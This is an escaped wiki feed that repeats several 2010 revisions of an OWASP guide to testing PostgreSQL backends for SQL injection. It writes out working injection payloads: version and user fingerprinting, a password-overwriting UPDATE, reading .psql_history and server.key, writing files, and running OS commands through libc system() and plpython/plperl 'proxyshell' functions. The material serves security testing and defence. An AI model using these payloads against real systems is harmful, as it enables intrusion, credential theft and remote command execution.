&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieves a row at a time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on a database:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* OWASP : &amp;quot;[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* OWASP : [[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
* Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86760</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86760"/>
				<updated>2010-07-21T13:45:21Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this section, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following characteristics:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Identifying PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In addition, the function ''version()'' can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An example of a banner string that could be returned is:&lt;br /&gt;
  PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take into consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).&lt;br /&gt;
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
* chr(n): Returns the character whose ASCII value corresponds to the number n&lt;br /&gt;
* ascii(n): Returns the ASCII value which corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieves a row at a time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on a database:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If either of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* OWASP : &amp;quot;[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* OWASP : [[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
* Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86724</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86724"/>
				<updated>2010-07-20T15:19:13Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: clarified some things in the identifying postgresql section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this section, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following characteristics:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Identifying PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In addition, the function ''version()'' can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An example of a banner string that could be returned is:&lt;br /&gt;
  PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take into consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).&lt;br /&gt;
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
* chr(n): Returns the character whose ASCII value corresponds to the number n&lt;br /&gt;
* ascii(n): Returns the ASCII value which corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieves a row at a time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
